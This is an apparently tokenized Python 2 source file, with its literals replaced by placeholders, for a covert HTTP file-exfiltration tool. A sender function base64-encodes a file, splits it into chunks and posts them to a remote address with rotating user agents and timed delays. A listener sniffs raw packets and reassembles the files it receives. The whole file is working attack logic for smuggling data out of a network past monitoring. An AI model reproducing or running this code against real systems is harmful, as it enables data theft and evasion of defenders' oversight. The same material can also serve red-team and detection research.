<s> import os <EOL> import sys <EOL> import zlib <EOL> import json <EOL> import time <EOL> import base64 <EOL> import random <EOL> import socket <EOL> import requests <EOL> import datetime <EOL> from struct import * <EOL> USER_AGENTS = [ <EOL> "<STR_LIT>" , <EOL> "<STR_LIT>" , <EOL> "<STR_LIT>" , <EOL> "<STR_LIT>" , <EOL> "<STR_LIT>" , <EOL> "<STR_LIT>" , <EOL> "<STR_LIT>" , <EOL> "<STR_LIT>" ] <EOL> HEADERS = { '<STR_LIT>' : '<STR_LIT:application/json>' , '<STR_LIT>' : random . choice ( USER_AGENTS ) } <EOL> READ_BINARY = "<STR_LIT:rb>" <EOL> WRITE_BINARY = "<STR_LIT:wb>" <EOL> LOGFILE_BASENAME = "<STR_LIT>" <EOL> LOGFILE_EXT = "<STR_LIT>" <EOL> HTTP_PORT = <NUM_LIT> <EOL> ETH_P_ALL = <NUM_LIT> <EOL> INIT_PACKET_COOKIE = "<STR_LIT>" <EOL> PACKET_COOKIE = "<STR_LIT>" <EOL> TERMINATION_COOKIE = "<STR_LIT>" <EOL> COOKIE_DELIMITER = "<STR_LIT:..>" <EOL> DATA_END = "<STR_LIT>" <EOL> def send_file ( addr , file_path , max_packet_size = <NUM_LIT> , time_delay = <NUM_LIT> ) : <EOL> """<STR_LIT>""" <EOL> try : <EOL> fh = open ( file_path , READ_BINARY ) <EOL> iAmFile = fh . read ( ) <EOL> fh . close ( ) <EOL> except : <EOL> sys . stderr . write ( "<STR_LIT>" ) <EOL> raise ( ) <EOL> chunks = [ ] <EOL> IamDone = "<STR_LIT>" <EOL> IamDone = base64 . b64encode ( iAmFile ) <EOL> checksum = zlib . crc32 ( IamDone ) <EOL> chunks = [ IamDone [ i : i + max_packet_size ] for i in range ( <NUM_LIT:0> , len ( IamDone ) , max_packet_size ) ] <EOL> head , tail = os . path . split ( file_path ) <EOL> try : <EOL> init_payload = tail + COOKIE_DELIMITER + str ( checksum ) + COOKIE_DELIMITER + str ( len ( chunks ) ) <EOL> payload = { INIT_PACKET_COOKIE : init_payload } <EOL> requests . post ( addr , data = json . dumps ( payload ) , headers = HEADERS ) <EOL> sys . stdout . write ( "<STR_LIT>" % ( len ( chunks ) + <NUM_LIT:2> ) ) <EOL> sys . stdout . write ( "<STR_LIT:.>" ) <EOL> time . sleep ( time_delay ) <EOL> except : <EOL> sys . stderr . write ( "<STR_LIT>" ) <EOL> raise ( ) <EOL> current_chunk = <NUM_LIT:0> <EOL> for chunk in chunks : <EOL> payload = { PACKET_COOKIE + str ( current_chunk ) : chunk } <EOL> requests . post ( addr , data = json . dumps ( payload ) , headers = HEADERS ) <EOL> current_chunk += <NUM_LIT:1> <EOL> sys . stdout . write ( "<STR_LIT:.>" ) <EOL> time . sleep ( time_delay ) <EOL> sys . stdout . write ( "<STR_LIT>" ) <EOL> data = DATA_END + str ( current_chunk ) <EOL> payload = { TERMINATION_COOKIE : data } <EOL> requests . post ( addr , data = json . dumps ( payload ) , headers = HEADERS ) <EOL> sys . stdout . write ( "<STR_LIT>" % current_chunk ) <EOL> return <NUM_LIT:0> <EOL> def listen ( local_addr , local_port = <NUM_LIT> ) : <EOL> """<STR_LIT>""" <EOL> def eth_addr ( a ) : <EOL> b = "<STR_LIT>" % ( ord ( a [ <NUM_LIT:0> ] ) , ord ( a [ <NUM_LIT:1> ] ) , ord ( a [ <NUM_LIT:2> ] ) , ord ( a [ <NUM_LIT:3> ] ) , ord ( a [ <NUM_LIT:4> ] ) , ord ( a [ <NUM_LIT:5> ] ) ) <EOL> return b <EOL> try : <EOL> s = socket . socket ( socket . AF_PACKET , socket . SOCK_RAW , socket . ntohs ( ETH_P_ALL ) ) <EOL> except socket . error , msg : <EOL> sys . stderr . write ( '<STR_LIT>' + str ( msg [ <NUM_LIT:0> ] ) + '<STR_LIT>' + msg [ <NUM_LIT:1> ] + "<STR_LIT:\n>" ) <EOL> raise ( ) <EOL> try : <EOL> current_time_as_string = str ( datetime . datetime . now ( ) ) . replace ( "<STR_LIT::>" , "<STR_LIT:.>" ) . replace ( "<STR_LIT:U+0020>" , "<STR_LIT:->" ) [ : - <NUM_LIT:7> ] <EOL> log_fh = open ( LOGFILE_BASENAME + current_time_as_string + LOGFILE_EXT , WRITE_BINARY ) <EOL> log_fh . write ( "<STR_LIT>" % current_time_as_string ) <EOL> except : <EOL> sys . stderr . write ( "<STR_LIT>" ) <EOL> raise ( ) <EOL> while True : <EOL> packet , address = s . recvfrom ( <NUM_LIT> ) <EOL> eth_length = <NUM_LIT> <EOL> eth_header = packet [ : eth_length ] <EOL> eth = unpack ( '<STR_LIT>' , eth_header ) <EOL> eth_protocol = socket . ntohs ( eth [ <NUM_LIT:2> ] ) <EOL> if eth_protocol == <NUM_LIT:8> and address [ <NUM_LIT:2> ] == <NUM_LIT:4> : <EOL> ip_header = packet [ eth_length : <NUM_LIT:20> + eth_length ] <EOL> iph = unpack ( '<STR_LIT>' , ip_header ) <EOL> version_ihl = iph [ <NUM_LIT:0> ] <EOL> version = version_ihl >> <NUM_LIT:4> <EOL> ihl = version_ihl & <NUM_LIT> <EOL> iph_length = ihl * <NUM_LIT:4> <EOL> ttl = iph [ <NUM_LIT:5> ] <EOL> protocol = iph [ <NUM_LIT:6> ] <EOL> s_addr = socket . inet_ntoa ( iph [ <NUM_LIT:8> ] ) <EOL> d_addr = socket . inet_ntoa ( iph [ <NUM_LIT:9> ] ) <EOL> if protocol == <NUM_LIT:6> : <EOL> t = iph_length + eth_length <EOL> tcp_header = packet [ t : t + <NUM_LIT:20> ] <EOL> tcph = unpack ( '<STR_LIT>' , tcp_header ) <EOL> source_port = tcph [ <NUM_LIT:0> ] <EOL> dest_port = tcph [ <NUM_LIT:1> ] <EOL> sequence = tcph [ <NUM_LIT:2> ] <EOL> acknowledgement = tcph [ <NUM_LIT:3> ] <EOL> doff_reserved = tcph [ <NUM_LIT:4> ] <EOL> tcph_length = doff_reserved >> <NUM_LIT:4> <EOL> if ( dest_port == HTTP_PORT ) or ( source_port == HTTP_PORT ) : <EOL> filename = "<STR_LIT>" <EOL> h_size = eth_length + iph_length + tcph_length * <NUM_LIT:4> <EOL> data_size = len ( packet ) - h_size <EOL> data = packet [ h_size : ] <EOL> if data . find ( INIT_PACKET_COOKIE ) != - <NUM_LIT:1> : <EOL> data_init_offset = data . find ( INIT_PACKET_COOKIE ) <EOL> viable_data = data [ data_init_offset : ] <EOL> filename = viable_data [ viable_data . find ( "<STR_LIT>" ) + <NUM_LIT:4> : viable_data . find ( "<STR_LIT:..>" ) ] <EOL> viable_data = viable_data [ viable_data . find ( "<STR_LIT:..>" ) + <NUM_LIT:2> : ] <EOL> crc = viable_data [ : viable_data . find ( "<STR_LIT:..>" ) ] <EOL> viable_data = viable_data [ viable_data . find ( "<STR_LIT:..>" ) + <NUM_LIT:2> : ] <EOL> total_packets = viable_data [ : viable_data . find ( "<STR_LIT>" ) ] <EOL> log_fh . write ( "<STR_LIT>" + str ( s_addr ) + "<STR_LIT>" ) <EOL> log_fh . write ( "<STR_LIT>" ) <EOL> log_fh . write ( "<STR_LIT>" % filename ) <EOL> log_fh . write ( "<STR_LIT>" % crc ) <EOL> log_fh . write ( "<STR_LIT>" % total_packets ) <EOL> log_fh . write ( "<STR_LIT>" % s_addr ) <EOL> data_packets_recvd = <NUM_LIT:0> <EOL> fh = open ( filename + "<STR_LIT:_>" + crc , WRITE_BINARY ) <EOL> recvd_data = "<STR_LIT>" <EOL> elif data . find ( TERMINATION_COOKIE ) != - <NUM_LIT:1> : <EOL> log_fh . write ( "<STR_LIT>" % s_addr ) <EOL> if zlib . crc32 ( recvd_data ) == int ( crc ) : <EOL> recvd_data = base64 . b64decode ( recvd_data ) <EOL> fh . write ( recvd_data ) <EOL> fh . close ( ) <EOL> log_fh . write ( "<STR_LIT>" + str ( filename ) + "<STR_LIT:_>" + str ( crc ) + "<STR_LIT:\n>" ) <EOL> else : <EOL> sys . stderr . write ( "<STR_LIT>" ) <EOL> elif data . find ( PACKET_COOKIE ) != - <NUM_LIT:1> : <EOL> data_init_offset = data . find ( PACKET_COOKIE ) <EOL> viable_data = data [ data_init_offset : ] <EOL> viable_data = viable_data [ viable_data . find ( "<STR_LIT>" ) + <NUM_LIT:4> : viable_data . find ( "<STR_LIT>" ) ] <EOL> recvd_data += viable_data <EOL> data_packets_recvd += <NUM_LIT:1> <EOL> sys . stdout . write ( str ( data_packets_recvd ) + "<STR_LIT:->" ) <EOL> else : <EOL> pass <EOL> if __name__ == "<STR_LIT:__main__>" : <EOL> sys . stdout . write ( "<STR_LIT>" ) </s>
